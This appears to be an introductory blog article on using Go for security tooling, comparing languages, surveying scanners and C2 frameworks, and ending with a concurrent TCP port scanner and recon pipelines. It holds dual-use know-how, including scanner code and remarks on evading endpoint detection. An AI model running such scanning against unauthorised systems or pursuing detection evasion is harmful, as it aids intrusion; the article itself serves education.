Consider the numbers. The ProjectDiscovery ecosystem alone — Nuclei (template-based vulnerability scanner), Subfinder (passive subdomain discovery tool), Httpx (HTTP probing and fingerprinting toolkit), Katana (high-concurrency web crawler), Naabu (ProjectDiscovery’s high-speed port scanner, written in Go), DNSx (parallel DNS resolution toolkit) — accounts for hundreds of millions of downloads. BishopFox’s Sliver (BishopFox’s open-source C2 framework, written in Go) has become the standard open-source C2 framework. Cloud security tools like Kube-bench (Aqua Security’s CIS Kubernetes Benchmark checker), Trivy (Aqua Security’s all-in-one vulnerability and misconfiguration scanner), and Falco’s Go components run across thousands of production clusters. This isn’t a coincidence: Go occupies a specific niche that Python leaves slow, C leaves vulnerable, and Rust leaves complex.

Go was designed at Google in 2007 to solve the challenges of modern software development: slow compilation, complex dependency management, and the difficulty of writing safe concurrent programs. Those same challenges are amplified in security tooling, where correctness, performance, and portability are non-negotiable.

Go gives you the performance of a compiled language with the development speed of a dynamic language. That trade-off — 90% of C’s performance with 10% of the complexity — is exactly what security tooling needs.

What Makes Go the Right Language for Security Tooling?

Six properties set Go apart from every other systems language for security work. Here’s what they are and why they matter in practice.

1. Single Binary Deployment

This is the feature every security practitioner discovers first and never wants to give up:

# Build for any platform from any machine
GOOS=linux   GOARCH=amd64 go build -o scanner
GOOS=windows GOARCH=amd64 go build -o scanner.exe
GOOS=darwin  GOARCH=arm64 go build -o scanner

One command. Static binary. Zero dependencies. The artifact is the tool.

For red team operations, this is a major operational advantage. Dropping a Python script means dealing with interpreter version mismatches, missing packages, and pip install noise that screams “malicious activity” to EDR (Endpoint Detection and Response). A Go binary looks like any other executable.

For blue team deployments, it means your scanning infrastructure doesn’t need to manage language runtimes across containers. A single 8MB binary in a FROM scratch Docker image (5MB total image size) replaces a 150MB Python container.

For cloud security, the same binary runs on Kubernetes (Linux amd64), Lambda (arm64), and developer workstations (macOS) — all built from the same source with different environment variables.

2. Concurrency That Actually Scales

Security work is embarrassingly parallel. Port scanning: 65,535 independent checks. Subdomain enumeration: thousands of independent DNS queries. Web fuzzing: thousands of independent HTTP requests. This is where Go’s goroutines and channels directly outperform every mainstream alternative:

// Concurrent port check — production-scalable
ports := make(chan int, 100)  // buffered channel as semaphore
results := make(chan int, 100)

// Worker: reads ports channel, writes open ports to results
worker := func(host string, ports <-chan int, results chan<- int) {
    for port := range ports {
        addr := net.JoinHostPort(host, strconv.Itoa(port))
        conn, err := net.DialTimeout("tcp", addr, 1*time.Second)
        if err == nil {
            conn.Close()
            results <- port
        }
    }
}

// Start 100 concurrent workers
for i := 0; i < 100; i++ {
    go worker(host, ports, results)
}

// Enqueue all 65535 ports
go func() {
    for port := 1; port <= 65535; port++ {
        ports <- port
    }
    close(ports)
}()

// Results consumer — collects open ports
go func() {
    for openPort := range results {
        fmt.Printf("[+] Port %d is open\n", openPort)
    }
}()

Python’s approach to the same problem is instructive: a Python asyncio-based scanner (~200 lines) manages ~5,000–10,000 connections/second. A Go goroutine-based equivalent (~60 lines) pushes 30,000–50,000 connections/second without tuning. With raw sockets and BPF (Berkeley Packet Filter) filtering — SYN scan mode — Go can approach masscan’s 100,000+ packets/second.

3. Standard Library as a Security Toolbox

Go’s standard library is exceptionally comprehensive for security work. In Python, you need requests (HTTP), paramiko (SSH), scapy (packets), cryptography (TLS), and asyncio (concurrency) — all third-party. In Go, the core primitives live in stdlib:

Package	Security Use Case
net	TCP/UDP scanning, proxies, reverse shells
net/http	Web fuzzing, proxy servers, C2 listeners
crypto/tls	TLS (Transport Layer Security) fingerprinting, certificate analysis, MITM (Man-in-the-Middle) proxies
crypto/ssh	SSH brute force, key management, tunnels
crypto/x509	Certificate parsing, PKI (Public Key Infrastructure) analysis
encoding/binary	Protocol parsing, packet crafting
debug/pe, debug/elf, debug/macho	Binary analysis and parsing
golang.org/x/net	IP packet manipulation, HTTP/2, QUIC

What isn’t in stdlib — raw packet manipulation, advanced TLS fingerprinting — is available through well-maintained extended libraries like golang.org/x/net and gopacket (Google’s Go library for packet capture and processing).

4. Cross-Compilation Without Pain

Target Scenario	Build Command
Linux server	GOOS=linux GOARCH=amd64
ARM router/mobile	GOOS=linux GOARCH=arm64
Windows workstation	GOOS=windows GOARCH=amd64
macOS team machine	GOOS=darwin GOARCH=arm64
FreeBSD firewall	GOOS=freebsd GOARCH=amd64
IoT (Internet of Things)/MIPS device	GOOS=linux GOARCH=mipsle

Cross-compilation in Go is two environment variables. No toolchain. No Docker. No #ifdef platform macros. In C/C++, cross-compilation for ARM means installing an entirely separate toolchain (arm-linux-gnueabihf-gcc). In Rust, it’s better (rustup target add) but still requires target-specific std library components. Go does this natively since early versions.

5. Memory Safety Without a Performance Tax

Go is garbage-collected, which eliminates entire categories of security vulnerabilities in the tool itself:

• No use-after-free bugs — the GC guarantees memory validity
• No buffer overflows — slices enforce bounds at runtime
• No format string vulnerabilities — unavailable in the language
• No arbitrary pointer arithmetic — the type system prevents it

This matters: a security tool with memory corruption bugs is both ironic and dangerous. C-based security tools have historically had their own CVEs (Common Vulnerabilities and Exposures) — Nmap (CVE-2018-10191, input validation vulnerability in target parsing), Wireshark (countless dissector crashes), Metasploit payloads (shellcode with evasion bugs). Go largely eliminates this class of tool-side bugs.

6. Small Binaries, Fast Startup

A minimal Go HTTP server: ~7MB static binary, accepting connections in ~5ms. A Python Flask server: ~150MB container, ~200ms startup. A Java Spring Boot service: ~200MB+ container, ~5s startup.

For security tooling, startup time matters: when scanning 1,000 hosts with a health check endpoint, 200ms per invocation adds up fast. Container size matters too: when your scanner runs as a DaemonSet on 50 Kubernetes nodes, saving 140MB per node is meaningful at scale.

Go vs. Python: The Security Tooling Showdown

Python is fine for scripting and exploit dev. For anything that needs to run fast, deploy without dependencies, or scale across thousands of targets, it’s the wrong call — and the numbers bear that out.

Python has dominated security tooling for two decades. Tools like Impacket, Scapy, pwntools, and frameworks like CANVAS familiarized a generation of practitioners with Python. The gap is narrowing fast, and in several categories Go has decisively taken over.

Performance Comparison

Task	Python	Go	Winner
Port scan (TCP connect, 65535 ports)	2–5 min	10–30 sec	Go
DNS resolution (10,000 domains)	3–8 min	20–60 sec	Go
HTTP fuzzing (10,000 requests)	30–60 sec	5–15 sec	Go
PCAP analysis (1GB file)	2–5 min	30–90 sec	Go
Raw packet capture	Good (scapy)	Better (gopacket)	Go
JSON parsing	Good (orjson)	Excellent (stdlib)	Go
Data analysis	Best (pandas)	Moderate	Python
ML integration	Best	Poor	Python
Rapid prototyping	Best	Good	Python
Exploit development	Best (pwntools)	Moderate	Python

Where Python Still Wins

• Exploit development: pwntools is unmatched for interacting with binaries, crafting shellcode, and debugging
• Data analysis: pandas, numpy, Jupyter for log analysis, traffic analysis, and reporting
• Windows API interaction: ctypes and win32api are more ergonomic than Go’s syscall package
• AI/ML integration: the ML ecosystem is exclusively Python
• Quick prototyping: REPL-driven development is still faster than Go’s edit-compile-run cycle

Where Go Has Taken Over

• Production security tools: Nuclei, Sliver, Naabu — tools shipped to users
• Cloud-native security: Kubernetes scanning, container analysis
• Network scanning and reconnaissance: concurrent scanning workflows
• C2 frameworks: multi-platform implants with encrypted communication
• Large-scale data processing: API response aggregation, log parsing

Go vs. Rust and C/C++

The honest comparison: Go sits between C’s raw power and Python’s ease. For 80%+ of security tooling, that’s exactly where you want to be. Here’s where the boundaries are.

C/C++: The Legacy

C and C++ have powered security tools for decades — Nmap is written in C, Metasploit’s core is C/assembly, tcpdump and libpcap are C. The problems are well-documented:

• Memory bugs: C-based tools accumulate CVEs in their parsers (Nmap, Wireshark)
• Slow iteration: C++ compilation times kill rapid prototyping
• Build complexity: CMake, autotools, configure scripts, platform #ifdef chains
• Cross-compilation: dedicated toolchain per target triple

If you need kernel modules (eBPF, Windows driver), you need C. If you need maximum performance and can absorb the complexity cost, C++ can still be right. But for the vast majority of security tools — network scanners, web fuzzers, C2 clients — C/C++ is overkill with no meaningful performance advantage over Go.

Rust: The New Contender

Rust is Go’s primary competitor for new security tooling. It has genuine advantages:

• No GC: deterministic performance for real-time packet processing
• Zero-cost abstractions: high-level patterns compile to optimal machine code
• Stronger guarantees: the borrow checker eliminates data races at compile time
• Smaller binaries: 1–5MB for Rust vs. 5–15MB for Go

Rust’s learning curve is steeper — weeks to productive vs. days for Go. And when building network tools (which is most of what security tools do), the borrow checker adds complexity that Go’s goroutine model handles trivially.

Criterion	Go	Rust
Time to productive	Days	Weeks
Network programming	Trivial (stdlib)	Moderate (tokio)
Concurrency model	Goroutines (simple)	async/await (complex)
Binary size	5–15MB	1–5MB
Maximum throughput	Very fast	Fastest
Standard library	Excellent for networking	Minimal (crates needed)
Learning curve	Low	High
Security tool adoption	Major (Nuclei, Sliver)	Growing (Firecracker, parts of)

The practical answer: use Rust for parsers, high-performance packet processors, and anything where GC pauses are unacceptable. Use Go for everything else — which is 80%+ of security tooling.

The Modern Go Security Tool Ecosystem

The best argument for Go in security is what people have already built with it. Here’s the production tooling landscape, organized by discipline.

Reconnaissance and Scanning (ProjectDiscovery)

Tool	Purpose	Why Go Matters
Nuclei	Template-based vulnerability scanner	Concurrent template execution across thousands of targets
Subfinder	Passive subdomain enumeration	Parallel resolution, 20+ API sources aggregated via goroutines
Httpx	HTTP probing toolkit	Screenshot capture, TLS fingerprinting, rapid concurrent requests
Katana	Web crawler	High-concurrency crawling with JS parsing
Naabu	Port scanner	SYN and connect scanning with masscan-comparable throughput
DNSx	DNS toolkit	Parallel multiple record types, retry, wildcard detection
Uncover	API-based asset discovery	Concurrent searches across Censys, Shodan, etc.

The ProjectDiscovery ecosystem is the most striking demonstration of Go’s dominance. Each tool is a single, composable binary. Security practitioners pipe them together:

subfinder -d example.com | httpx -mc 200 | nuclei -t cves/

This pipeline processes thousands of targets concurrently because each tool leverages Go’s goroutine model internally. In Python, this would require intermediate files (slow) or an orchestration layer like Redis/Celery (complex).

Red Team and C2

Tool	Purpose	Why Go Matters
Sliver	C2 framework	Multi-platform implants, mTLS/HTTP2/DNS C2, dynamic compilation
Merlin	C2 framework	HTTP/2 C2 with PSK, single binary agent
Chisel	TCP/UDP tunnel over HTTP	Single binary client/server, WebSocket tunneling

Cloud Security

Tool	Purpose	Why Go Matters
Kube-bench	CIS Benchmark for K8s	Single binary deployed as DaemonSet
Kube-hunter	K8s pentesting	Quick cluster deployment
Trivy	Container vulnerability scanner	Static binary scanning, SQLite DB for vulnerabilities
Cloudlist	Multi-cloud enumeration	Parallel API aggregation
Pacu (core)	AWS exploitation	Core engine in Python, Go plugins emerging

Network and Raw Packet Tools

Tool	Purpose	Why Go Matters
Gopacket	Packet manipulation library (Google)	Required for raw socket work in Go
Ja3	TLS fingerprinting	Go implementation of JA3/JA3S
Goproxy	HTTP/HTTPS proxy	Full MITM proxy library in Go

Binary and Malware Analysis

Tool	Purpose	Why Go Matters
GoReSym	Go binary parser (Mandiant’s Go symbol recovery tool)	Extracts function metadata from stripped Go binaries
RedGuard	C2 redirector	Dynamic TLS fingerprinting

Case Studies: Where Go Won

Theory aside — here’s where Go decisively displaced other languages in production security tooling.

Case Study 1: ProjectDiscovery’s Toolchain

ProjectDiscovery is a company built entirely on Go security tools. Their workflow demonstrates why Go won for recon at scale:

# A typical bug bounty reconnaissance pipeline
subfinder -d target.com \
  | httpx -silent -status-code -title -tech-detect \
  | nuclei -t ~/nuclei-templates/ -severity critical,high \
  | notify

Each stage is a single Go binary. The pipeline runs across thousands of targets because goroutines make concurrent processing the default. The same workflow in Python would require Redis/Celery for job distribution.

Key insight: Go’s composition model (pipes + JSON output) emerged organically — it wasn’t designed. But it works because each tool handles its own concurrency internally and outputs structured data that the next tool can consume.

Case Study 2: Sliver Replacing Metasploit

BishopFox’s Sliver C2 framework was written in Go specifically to address Metasploit’s limitations:

• Metasploit (Ruby): requires Ruby + gems + database setup + staged payloads
• Sliver (Go): single binary server, cross-compiled implants on demand

Sliver implants are cross-platform (Windows, Linux, macOS, FreeBSD), ~5MB minimal binary, statically linked (no DLL dependencies on Windows), with encrypted C2 channels (mutual TLS, HTTP/2, DNS, WireGuard). The result: Sliver went from zero to industry-standard C2 framework in ~3 years. Go’s cross-compilation and static linking made multi-platform implant generation trivial.

Case Study 3: Cloud Security at Scale

Cloud security companies (Aqua, Sysdig, Wiz) consistently choose Go for their agents. The pattern is the same everywhere:

• Static binary → deploy as a K8s DaemonSet, Lambda function, or EC2 agent
• Performance → scan images, analyze IAM policies without overhead
• Cross-platform → same binary for Linux, Windows, macOS hosts
• Security → memory-safe, less likely to introduce new vulnerabilities in the tool itself

Case Study 4: The “Subfinder Effect”

Subfinder replaced a generation of Python recon tools (Sublist3r, etc.) almost overnight — not because it found more subdomains, but because it was dramatically simpler to deploy:

# Go (Subfinder)
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
subfinder -d example.com

vs. Python (Sublist3r):

git clone https://github.com/aboul3la/Sublist3r.git
cd Sublist3r
pip install -r requirements.txt
python sublist3r.py -d example.com

The difference is not academic. A single-binary Go tool that installs in 3 seconds and works on every OS has a dramatically lower barrier to adoption than a multi-file Python project with dependency management.

When Should You Use Python, Rust, or C Instead of Go?

Go isn’t the right answer for everything. I’ve seen people try to force Go into exploit development workflows, and it’s painful. Here’s when you should reach for a different language instead.

Stick with Python when:

• Rapid prototyping — you want something working in 20 minutes
• Exploit development — pwntools, ctypes, struct packages are hard to beat
• Data analysis — pandas, numpy, Jupyter for security telemetry
• Windows API interaction — Python’s ctypes/win32api outperforms Go’s syscall package here
• AI/ML integration — the entire ML ecosystem is Python

Use Rust when:

• Parsing untrusted data — Rust’s memory model genuinely excels here
• High-throughput packet processing — 10Gbps+ network traffic
• Embedded/OT security — constrained devices where GC is problematic
• Building parsers/language tooling — Rust’s zero-cost abstractions shine

Use C/C++ when:

• Kernel modules and eBPF — Go can’t run in kernel space
• Firmware and embedded — device drivers and microcontrollers
• Extremely low-level work — hypervisors, bootloaders

Use Bash when:

• One-off automation — log parsing, file collection, triage
• Incident response triage — quick scripts on compromised systems
• Glue between tools — orchestration, not tooling

Setting Up Your Go Security Lab

Get Go installed and three reference tools running in under 10 minutes. Here’s everything you need.

Installation

# Install Go 1.23.0 — download from https://go.dev/dl/
# Example for Linux amd64:
wget https://go.dev/dl/go1.23.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.23.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

# Verify
go version

Install Reference Tools for Study

go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

Your First Go Security Tool: Minimal Port Scanner

package main

import (
    "flag"
    "fmt"
    "net"
    "os"
    "sync"
    "time"
)

func main() {
    host := flag.String("host", "", "Target host")
    startPort := flag.Int("start", 1, "Start port")
    endPort := flag.Int("end", 1024, "End port")
    threads := flag.Int("threads", 100, "Concurrent goroutines")
    flag.Parse()

    if *host == "" {
        fmt.Fprintf(os.Stderr, "Usage: scan -host <target>\n")
        os.Exit(1)
    }

    var wg sync.WaitGroup
    sem := make(chan struct{}, *threads)
    var mu sync.Mutex
    var opens []int

    for p := *startPort; p <= *endPort; p++ {
        wg.Add(1)
        sem <- struct{}{}
        go func(port int) {
            defer wg.Done()
            defer func() { <-sem }()
            conn, err := net.DialTimeout("tcp",
                fmt.Sprintf("%s:%d", *host, port), 1*time.Second)
            if err != nil {
                return
            }
            conn.Close()
            mu.Lock()
            opens = append(opens, port)
            mu.Unlock()
            fmt.Printf("[+] Open: %d\n", port)
        }(p)
    }
    wg.Wait()
    fmt.Printf("\nFound %d open ports\n", len(opens))
}

This template — semaphore-limited goroutines, timed TCP dials, concurrent result accumulation — is the foundation for most network-based security tools in Go. The same pattern appears in Naabu, custom internal scanners, and cloud security agents across the industry.

What’s Coming in This Series

#	Title	Focus
1	Why Go for Security	Landscape, trade-offs, ecosystem
2	Network Scanning & Recon	TCP/UDP scaling, SYN scans, gopacket, Naabu analysis
3	Web App Security Testing	HTTP fuzzing, proxies, auth brute force, middleware
4	Malware Analysis & RE	PE/ELF parsing, Go binary RE, YARA, gore
5	Cloud Security Tooling	K8s audit, IAM scanning, cloud enumeration
6	Red Team C2 Frameworks	Implants, encrypted comms, Sliver architecture
7	Build Your Arsenal	Plugin systems, composition, distribution

This article establishes the foundation. Each article in the series builds directly on the previous one — from understanding why Go works for security to building full-stack tooling in production.